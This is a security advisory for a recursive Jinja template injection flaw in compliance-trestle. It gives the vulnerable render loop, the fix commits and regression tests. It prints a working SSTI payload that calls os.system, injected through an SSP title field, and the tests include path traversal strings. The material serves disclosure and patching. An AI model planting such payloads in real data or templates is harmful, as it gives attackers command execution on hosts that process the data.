compliance-trestle Vulnerable to Remote Code Execution via Recursive Server-Side Template Injection (SSTI)
Description
A High severity Server-Side Template Injection (SSTI) vulnerability exists in the trestle author jinja command. The command recursively evaluates rendered templates, allowing an attacker to achieve arbitrary command execution with privileges of the running process by injecting malicious payloads into data fields (such as SSP documents or Lookup Tables).
The vulnerability does not require attacker control of the template itself. Only attacker-controlled input data rendered into a trusted template is required.
This distinction is critical: the template author may only intend to render plain text (e.g., Title: {{ ssp.metadata.title }}), but because of the recursive parsing, the data field itself becomes executable.
The vulnerability is caused by recursive re-compilation and re-rendering of already-rendered output.
Details
In trestle/core/commands/author/jinja.py, the render_template method performs recursive template evaluation to allow nesting within expressions:
@staticmethod
def render_template(template: Template, lut: Dict[str, Any], template_folder: pathlib.Path) -> str:
new_output = template.render(**lut)
output = ''
error_countdown = JinjaCmd.max_recursion_depth
while new_output != output and error_countdown > 0:
error_countdown = error_countdown - 1
output = new_output
random_name = uuid.uuid4()
dict_loader = DictLoader({str(random_name): new_output})
# jinja_env does not use SandboxedEnvironment
jinja_env = Environment(
loader=ChoiceLoader([dict_loader, FileSystemLoader(template_folder)]),
extensions=extensions(),
autoescape=True,
trim_blocks=True
)
template = jinja_env.get_template(str(random_name))
new_output = template.render(**lut)
return output
When a fully trusted and static template resolves a variable from an attacker-controlled data source, the attacker's string is injected into the output. During the next pass of the while loop, this output is loaded into a new Environment via DictLoader and rendered again. Because jinja_env does not use SandboxedEnvironment, attacker-controlled template expressions embedded in data fields are re-evaluated as executable Jinja templates during recursive rendering.
## PoC (Proof of Concept) The vulnerability survives even when the template itself is fully trusted and static. Tested on Jinja2 version 3.1.6.
1. Create a fully trusted template (template.j2) that simply renders a data variable from an external SSP model: ``jinja2 Title: {{ ssp.metadata.title }} ``
2. Generate a malicious OSCAL SSP document (system-security-plans/malicious_ssp/system-security-plan.json) where the title field contains a Jinja execution payload. This demonstrates how data becomes code execution: ``json { "system-security-plan": { "uuid": "208dbe11-e6e2-411a-af18-095cd17a6a70", "metadata": { "title": "{{ namespace.__init__.__globals__.os.system('touch poc.txt') }}", "last-modified": "2024-01-01T00:00:00+00:00", "version": "1.0", "oscal-version": "1.0.4" }, "import-profile": { "href": "trestle://profiles/test_profile/profile.json" } } } ``
3. Execute the trestle author jinja command against the malicious data: ``bash trestle author jinja -i template.j2 -o out.md -ssp malicious_ssp ``
*(Note: A similar payload injected via the -lut yaml argument yields identical results.)*
4. Verify arbitrary command execution: ``bash ls poc.txt # The file poc.txt is successfully created on the filesystem. ``
An attacker can also execute arbitrary shell commands directly, e.g.: ``json "title": "{{ namespace.__init__.__globals__.os.system('id') }}", ``
Impact
This vulnerability allows arbitrary command execution with the privileges of the running process. If compliance-trestle is used in an automated pipeline (such as CI/CD workflows generating documentation from third-party vendor-supplied SSPs), a malicious payload embedded in a data field (like a system title or description) will result in a compromised runner environment. The user/operator must process the attacker-controlled SSP or LUT, satisfying the user interaction metric.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
A SSTI vulnerability in trestle author jinja allows arbitrary command execution via recursive template rendering of attacker-controlled data fields.
Vulnerability
A High severity Server-Side Template Injection (SSTI) vulnerability exists in the trestle author jinja command in versions prior to the fix commit [1][4]. The bug is in the render_template method in trestle/core/commands/author/jinja.py [2][3]. The method recursively re-compiles and re-renders already-rendered output, using a DictLoader to load the previous output as a new template. This recursion allows attacker-controlled data fields (e.g., SSP document metadata or Lookup Table values) to be evaluated as Jinja expressions, even when the template itself is static and trusted [2][3]. The recursion depth was controlled by JinjaCmd.max_recursion_depth (set to 2) [4].
Exploitation
An attacker must be able to supply input data that is processed by the trestle author jinja command, such as content in SSP documents or Lookup Tables [2][3]. No control over the template file is needed. The attacker injects a Jinja payload (e.g., containing {{ and }} constructs) into a data field. When the trusted template renders that field, the output contains the injected payload. Due to the recursive loop, the payload is then loaded as a new template and rendered, allowing the attacker's code to execute [2][3].
Impact
Successful exploitation results in arbitrary command execution with the privileges of the running process [1][2][3]. The impact is full compromise of the application's host, including potential access to sensitive data and further lateral movement.
Mitigation
The vulnerability is fixed by commit 7d107b3ac53caca7bde97a6278b23cd739d94525 (merged via 247fcce289f60103f3d8e28d8ec51a6986b94fb6) [1][4]. The fix removes the recursive re-rendering loop (max_recursion_depth is removed, DictLoader and uuid import are removed) and introduces path traversal validation [1][4]. Users should upgrade to a version containing this commit. No workarounds are provided in the available references, and the CVE is not listed in CISA's Known Exploited Vulnerabilities catalog.
AI Insight generated on May 28, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected products
2>= 4.0.0, < 4.0.3+ 1 more
- (no CPE)range: >= 4.0.0, < 4.0.3
- (no CPE)
Patches
27d107b3ac53cfix: add path traversal protection and prevent SSTI in jinja templating
2 files changed · +137 −34
tests/trestle/core/commands/author/jinja_cmd_test.py+111 −1 modified@@ -16,12 +16,16 @@ import os import pathlib import shutil +from types import SimpleNamespace + +import pytest from _pytest.monkeypatch import MonkeyPatch from tests.test_utils import execute_command_and_assert, setup_for_ssp -from trestle.core.commands.author.jinja import _number_captions +from trestle.common.err import TrestleError +from trestle.core.commands.author.jinja import JinjaCmd, _number_captions from trestle.core.commands.author.ssp import SSPGenerate from trestle.core.markdown.docs_markdown_node import DocsMarkdownNode @@ -295,3 +299,109 @@ def test_jinja_with_template_only( node1 = tree.get_node_for_key('# A') node2 = tree.get_node_for_key('# C') assert node1.subnodes[0].key == node2.subnodes[0].key + + +def test_jinja_path_traversal_protection( + testdata_dir: pathlib.Path, tmp_trestle_dir: pathlib.Path, monkeypatch: MonkeyPatch +) -> None: + """Test that path traversal attacks are blocked in jinja command.""" + from trestle.core.remote.security import PathSecurityValidator + + # Test path validation directly to ensure 100% coverage of the validation code + # Test 1: Path traversal with ../ should fail + with pytest.raises(TrestleError) as exc_info: + output_file = tmp_trestle_dir / '../../../etc/passwd' + PathSecurityValidator.validate_local_path(output_file, tmp_trestle_dir) + assert 'Security violation' in str(exc_info.value) + assert 'Path traversal blocked' in str(exc_info.value) + + # Test 2: Path traversal with multiple ../ should fail + with pytest.raises(TrestleError) as exc_info: + output_file = tmp_trestle_dir / 'subdir/../../poc.txt' + PathSecurityValidator.validate_local_path(output_file, tmp_trestle_dir) + assert 'Security violation' in str(exc_info.value) + + # Test 3: Absolute path should fail + with pytest.raises(TrestleError) as exc_info: + output_file = pathlib.Path('/tmp/attack.md') + PathSecurityValidator.validate_local_path(output_file, tmp_trestle_dir) + assert 'Security violation' in str(exc_info.value) + + # Test 4: Complex traversal should fail + with pytest.raises(TrestleError) as exc_info: + output_file = tmp_trestle_dir / 'a/b/c/../../../../etc/passwd' + PathSecurityValidator.validate_local_path(output_file, tmp_trestle_dir) + assert 'Security violation' in str(exc_info.value) + + # Test 5: Valid relative path should succeed + output_file = tmp_trestle_dir / 'output/valid.md' + PathSecurityValidator.validate_local_path(output_file, tmp_trestle_dir) # Should not raise + + +def test_jinja_docs_profile_path_traversal_protection(tmp_trestle_dir: pathlib.Path) -> None: + """Test that path traversal attacks are blocked in jinja docs-profile mode.""" + from trestle.core.remote.security import PathSecurityValidator + + # Test validation for multi-file output paths + # Test 1: Path traversal in output directory should fail + with pytest.raises(TrestleError) as exc_info: + output_file = tmp_trestle_dir / '../../../etc/ac-1.md' + PathSecurityValidator.validate_local_path(output_file, tmp_trestle_dir) + assert 'Security violation' in str(exc_info.value) + assert 'Path traversal blocked' in str(exc_info.value) + + # Test 2: Complex path traversal should fail + with pytest.raises(TrestleError) as exc_info: + output_file = tmp_trestle_dir / 'controls/../../tmp/ac-1.md' + PathSecurityValidator.validate_local_path(output_file, tmp_trestle_dir) + assert 'Security violation' in str(exc_info.value) + + # Test 3: Directory creation path traversal should fail + with pytest.raises(TrestleError) as exc_info: + group_dir = tmp_trestle_dir / '../../../etc/malicious' + PathSecurityValidator.validate_local_path(group_dir, tmp_trestle_dir) + assert 'Security violation' in str(exc_info.value) + + # Test 4: Valid relative path should succeed + output_file = tmp_trestle_dir / 'controls_output/ac/ac-1.md' + PathSecurityValidator.validate_local_path(output_file, tmp_trestle_dir) # Should not raise + + +def test_render_template_does_not_recursively_evaluate_untrusted_data(tmp_path: pathlib.Path) -> None: + """Test that rendered attacker-controlled data is not re-evaluated as Jinja.""" + template_path = tmp_path / 'template.j2' + template_path.write_text('Title: {{ ssp.metadata.title }}', encoding='utf-8') + + jinja_env = JinjaCmd._create_jinja_environment(tmp_path) + template = jinja_env.get_template(template_path.name) + + lut = { + 'ssp': SimpleNamespace( + metadata=SimpleNamespace(title="{{ namespace.__init__.__globals__.os.system('touch poc.txt') }}") + ) + } + + output = JinjaCmd.render_template(template, lut, tmp_path) + + assert output.startswith('Title: {{ namespace.__init__.__globals__.os.system(') + assert 'touch poc.txt' in output + assert '{{' in output + assert '}}' in output + assert '&' in output + assert not (tmp_path / 'poc.txt').exists() + + +def test_render_template_supports_trusted_include(tmp_path: pathlib.Path) -> None: + """Test that trusted template includes continue to work.""" + include_path = tmp_path / 'partial.j2' + include_path.write_text('World', encoding='utf-8') + + template_path = tmp_path / 'template.j2' + template_path.write_text("Hello {% include 'partial.j2' %}", encoding='utf-8') + + jinja_env = JinjaCmd._create_jinja_environment(tmp_path) + template = jinja_env.get_template(template_path.name) + + output = JinjaCmd.render_template(template, {}, tmp_path) + + assert output == 'Hello World'
trestle/core/commands/author/jinja.py+26 −33 modified@@ -20,16 +20,16 @@ import operator import pathlib import re -import uuid from typing import Any, Dict, Optional -from jinja2 import ChoiceLoader, DictLoader, Environment, FileSystemLoader, Template +from jinja2 import Environment, FileSystemLoader, Template from ruamel.yaml import YAML from trestle.common import const, log from trestle.common.err import TrestleIncorrectArgsError, handle_generic_command_exception from trestle.common.load_validate import load_validate_model_name +from trestle.core.remote.security import PathSecurityValidator from trestle.common.model_utils import ModelUtils from trestle.core.catalog.catalog_interface import CatalogInterface from trestle.core.commands.command_docs import CommandPlusDocs @@ -48,8 +48,6 @@ class JinjaCmd(CommandPlusDocs): """Transform an input template to an output document using jinja templating.""" - max_recursion_depth = 2 - name = 'jinja' def _init_arguments(self) -> None: @@ -191,9 +189,7 @@ def jinja_ify( ) -> int: """Run jinja over an input file with additional booleans.""" template_folder = pathlib.Path.cwd() - jinja_env = Environment( - loader=FileSystemLoader(template_folder), extensions=extensions(), trim_blocks=True, autoescape=True - ) + jinja_env = JinjaCmd._create_jinja_environment(template_folder) template = jinja_env.get_template(str(r_input_file)) # create boolean dict if operator.xor(bool(ssp), bool(profile)): @@ -228,7 +224,10 @@ def jinja_ify( output = JinjaCmd.render_template(template, lut, template_folder) + # Validate output path to prevent path traversal output_file = trestle_root / r_output_file + PathSecurityValidator.validate_local_path(output_file, trestle_root) + if number_captions: output_file.open('w', encoding=const.FILE_ENCODING).write(_number_captions(output)) else: @@ -274,14 +273,15 @@ def jinja_multiple_md( control_path = catalog_interface.get_control_path(control.id) for sub_dir in control_path: group_dir = group_dir / sub_dir - if not group_dir.exists(): - group_dir.mkdir(parents=True, exist_ok=True) + # Validate directory path to prevent path traversal before creating directories + full_group_dir = trestle_root / group_dir + PathSecurityValidator.validate_local_path(full_group_dir, trestle_root) + if not full_group_dir.exists(): + full_group_dir.mkdir(parents=True, exist_ok=True) control_writer = DocsControlWriter() - jinja_env = Environment( - loader=FileSystemLoader(template_folder), extensions=extensions(), trim_blocks=True, autoescape=True - ) + jinja_env = JinjaCmd._create_jinja_environment(template_folder) template = jinja_env.get_template(str(r_input_file)) lut['catalog_interface'] = catalog_interface lut['control_interface'] = ControlInterface() @@ -291,33 +291,26 @@ def jinja_multiple_md( lut['group_title'] = group_title output = JinjaCmd.render_template(template, lut, template_folder) - output_file = trestle_root / group_dir / pathlib.Path(control.id + const.MARKDOWN_FILE_EXT) + # Validate output path to prevent path traversal + relative_output_path = group_dir / pathlib.Path(control.id + const.MARKDOWN_FILE_EXT) + output_file = trestle_root / relative_output_path + PathSecurityValidator.validate_local_path(output_file, trestle_root) + output_file.open('w', encoding=const.FILE_ENCODING).write(output) return CmdReturnCodes.SUCCESS.value @staticmethod - def render_template(template: Template, lut: Dict[str, Any], template_folder: pathlib.Path) -> str: - """Render template.""" - new_output = template.render(**lut) - output = '' - # This recursion allows nesting within expressions (e.g. an expression can contain jinja templates). - error_countdown = JinjaCmd.max_recursion_depth - while new_output != output and error_countdown > 0: - error_countdown = error_countdown - 1 - output = new_output - random_name = uuid.uuid4() # Should be random and not used. - dict_loader = DictLoader({str(random_name): new_output}) - jinja_env = Environment( - loader=ChoiceLoader([dict_loader, FileSystemLoader(template_folder)]), - extensions=extensions(), - autoescape=True, - trim_blocks=True, - ) - template = jinja_env.get_template(str(random_name)) - new_output = template.render(**lut) + def _create_jinja_environment(template_folder: pathlib.Path) -> Environment: + """Create the trusted Jinja environment used for loading template files.""" + return Environment( + loader=FileSystemLoader(template_folder), extensions=extensions(), trim_blocks=True, autoescape=True + ) - return output + @staticmethod + def render_template(template: Template, lut: Dict[str, Any], template_folder: pathlib.Path) -> str: + """Render a trusted template exactly once to avoid recursive SSTI of untrusted data.""" + return template.render(**lut) def _number_captions(md_body: str) -> str:
247fcce289f6Merge commit from fork
2 files changed · +54 −31
tests/trestle/core/commands/author/jinja_cmd_test.py+42 −1 modified@@ -16,6 +16,7 @@ import os import pathlib import shutil +from types import SimpleNamespace import pytest @@ -24,7 +25,7 @@ from tests.test_utils import execute_command_and_assert, setup_for_ssp from trestle.common.err import TrestleError -from trestle.core.commands.author.jinja import _number_captions +from trestle.core.commands.author.jinja import JinjaCmd, _number_captions from trestle.core.commands.author.ssp import SSPGenerate from trestle.core.markdown.docs_markdown_node import DocsMarkdownNode @@ -364,3 +365,43 @@ def test_jinja_docs_profile_path_traversal_protection(tmp_trestle_dir: pathlib.P # Test 4: Valid relative path should succeed output_file = tmp_trestle_dir / 'controls_output/ac/ac-1.md' PathSecurityValidator.validate_local_path(output_file, tmp_trestle_dir) # Should not raise + + +def test_render_template_does_not_recursively_evaluate_untrusted_data(tmp_path: pathlib.Path) -> None: + """Test that rendered attacker-controlled data is not re-evaluated as Jinja.""" + template_path = tmp_path / 'template.j2' + template_path.write_text('Title: {{ ssp.metadata.title }}', encoding='utf-8') + + jinja_env = JinjaCmd._create_jinja_environment(tmp_path) + template = jinja_env.get_template(template_path.name) + + lut = { + 'ssp': SimpleNamespace( + metadata=SimpleNamespace(title="{{ namespace.__init__.__globals__.os.system('touch poc.txt') }}") + ) + } + + output = JinjaCmd.render_template(template, lut, tmp_path) + + assert output.startswith('Title: {{ namespace.__init__.__globals__.os.system(') + assert 'touch poc.txt' in output + assert '{{' in output + assert '}}' in output + assert '&' in output + assert not (tmp_path / 'poc.txt').exists() + + +def test_render_template_supports_trusted_include(tmp_path: pathlib.Path) -> None: + """Test that trusted template includes continue to work.""" + include_path = tmp_path / 'partial.j2' + include_path.write_text('World', encoding='utf-8') + + template_path = tmp_path / 'template.j2' + template_path.write_text("Hello {% include 'partial.j2' %}", encoding='utf-8') + + jinja_env = JinjaCmd._create_jinja_environment(tmp_path) + template = jinja_env.get_template(template_path.name) + + output = JinjaCmd.render_template(template, {}, tmp_path) + + assert output == 'Hello World'
trestle/core/commands/author/jinja.py+12 −30 modified@@ -20,10 +20,9 @@ import operator import pathlib import re -import uuid from typing import Any, Dict, Optional -from jinja2 import ChoiceLoader, DictLoader, Environment, FileSystemLoader, Template +from jinja2 import Environment, FileSystemLoader, Template from ruamel.yaml import YAML @@ -49,8 +48,6 @@ class JinjaCmd(CommandPlusDocs): """Transform an input template to an output document using jinja templating.""" - max_recursion_depth = 2 - name = 'jinja' def _init_arguments(self) -> None: @@ -192,9 +189,7 @@ def jinja_ify( ) -> int: """Run jinja over an input file with additional booleans.""" template_folder = pathlib.Path.cwd() - jinja_env = Environment( - loader=FileSystemLoader(template_folder), extensions=extensions(), trim_blocks=True, autoescape=True - ) + jinja_env = JinjaCmd._create_jinja_environment(template_folder) template = jinja_env.get_template(str(r_input_file)) # create boolean dict if operator.xor(bool(ssp), bool(profile)): @@ -286,9 +281,7 @@ def jinja_multiple_md( control_writer = DocsControlWriter() - jinja_env = Environment( - loader=FileSystemLoader(template_folder), extensions=extensions(), trim_blocks=True, autoescape=True - ) + jinja_env = JinjaCmd._create_jinja_environment(template_folder) template = jinja_env.get_template(str(r_input_file)) lut['catalog_interface'] = catalog_interface lut['control_interface'] = ControlInterface() @@ -308,27 +301,16 @@ def jinja_multiple_md( return CmdReturnCodes.SUCCESS.value @staticmethod - def render_template(template: Template, lut: Dict[str, Any], template_folder: pathlib.Path) -> str: - """Render template.""" - new_output = template.render(**lut) - output = '' - # This recursion allows nesting within expressions (e.g. an expression can contain jinja templates). - error_countdown = JinjaCmd.max_recursion_depth - while new_output != output and error_countdown > 0: - error_countdown = error_countdown - 1 - output = new_output - random_name = uuid.uuid4() # Should be random and not used. - dict_loader = DictLoader({str(random_name): new_output}) - jinja_env = Environment( - loader=ChoiceLoader([dict_loader, FileSystemLoader(template_folder)]), - extensions=extensions(), - autoescape=True, - trim_blocks=True, - ) - template = jinja_env.get_template(str(random_name)) - new_output = template.render(**lut) + def _create_jinja_environment(template_folder: pathlib.Path) -> Environment: + """Create the trusted Jinja environment used for loading template files.""" + return Environment( + loader=FileSystemLoader(template_folder), extensions=extensions(), trim_blocks=True, autoescape=True + ) - return output + @staticmethod + def render_template(template: Template, lut: Dict[str, Any], template_folder: pathlib.Path) -> str: + """Render a trusted template exactly once to avoid recursive SSTI of untrusted data.""" + return template.render(**lut) def _number_captions(md_body: str) -> str:
Vulnerability mechanics
Root cause
"Recursive re-compilation and re-rendering of already-rendered output in `render_template` allows attacker-controlled data fields to be evaluated as executable Jinja templates."
Attack vector
An attacker embeds a Jinja SSTI payload (e.g., `{{ namespace.__init__.__globals__.os.system('touch poc.txt') }}`) into a data field of an OSCAL SSP document or Lookup Table (LUT) [ref_id=2][ref_id=3]. When the `trestle author jinja` command processes a trusted template that renders that field (e.g., `Title: {{ ssp.metadata.title }}`), the first pass outputs the literal payload string. The vulnerable `render_template` method then loads this output into a new `Environment` via `DictLoader` and re-renders it in a `while` loop, causing the attacker's Jinja expression to be evaluated as code [ref_id=2][ref_id=3]. Because the `Environment` does not use `SandboxedEnvironment`, the attacker gains arbitrary command execution with the privileges of the running process [ref_id=2]. No attacker control over the template itself is required—only attacker-controlled input data rendered into a trusted template [ref_id=2][ref_id=3].
Affected code
The vulnerable code is in `trestle/core/commands/author/jinja.py` in the `render_template` static method of class `JinjaCmd` [ref_id=2][ref_id=3]. The method used a `while` loop that repeatedly loaded the previous render output into a `DictLoader`, created a new `Environment` (without `SandboxedEnvironment`), and re-rendered it, allowing attacker data to become executable templates [ref_id=2][ref_id=3]. The patch also modifies `jinja_ify` and `jinja_multiple_md` to use the new `_create_jinja_environment` factory and adds `PathSecurityValidator` checks on output paths [patch_id=2973533].
What the fix does
The patch removes the recursive `while` loop and the `DictLoader`-based re-rendering from `render_template`, replacing it with a single `template.render(**lut)` call [patch_id=2973533][patch_id=2973532]. It also removes the `max_recursion_depth` class attribute and the unused `uuid` import [patch_id=2973533][patch_id=2973532]. A new factory method `_create_jinja_environment` centralizes `Environment` creation with `FileSystemLoader` only (no `DictLoader`) [patch_id=2973533][patch_id=2973532]. Additionally, `PathSecurityValidator.validate_local_path` checks are added on output file paths to prevent path traversal [patch_id=2973533]. The test `test_render_template_does_not_recursively_evaluate_untrusted_data` confirms that attacker-controlled Jinja syntax in data fields is now output as literal text and not executed [patch_id=2973533][patch_id=2973532].
Preconditions
- inputAttacker must supply an OSCAL SSP document or YAML Lookup Table containing a Jinja SSTI payload in a data field (e.g., title, description).
- authThe user/operator must execute the `trestle author jinja` command against the attacker-controlled data.
- networkNo special network position required; the attacker supplies the malicious file through any channel (e.g., CI/CD pipeline, file upload).
Reproduction
1. Create a trusted template `template.j2` containing: `Title: {{ ssp.metadata.title }}` [ref_id=2][ref_id=3]. 2. Create a malicious OSCAL SSP document at `system-security-plans/malicious_ssp/system-security-plan.json` with the title field set to `{{ namespace.__init__.__globals__.os.system('touch poc.txt') }}` [ref_id=2][ref_id=3]. 3. Run: `trestle author jinja -i template.j2 -o out.md -ssp malicious_ssp` [ref_id=2][ref_id=3]. 4. Verify execution: `ls poc.txt` shows the created file [ref_id=2][ref_id=3].
Generated on May 28, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
4- github.com/advisories/GHSA-gg2g-p7xc-qqmmghsaADVISORY
- github.com/oscal-compass/compliance-trestle/commit/247fcce289f60103f3d8e28d8ec51a6986b94fb6ghsa
- github.com/oscal-compass/compliance-trestle/commit/7d107b3ac53caca7bde97a6278b23cd739d94525ghsa
- github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-gg2g-p7xc-qqmmghsa
News mentions
0No linked articles in our index yet.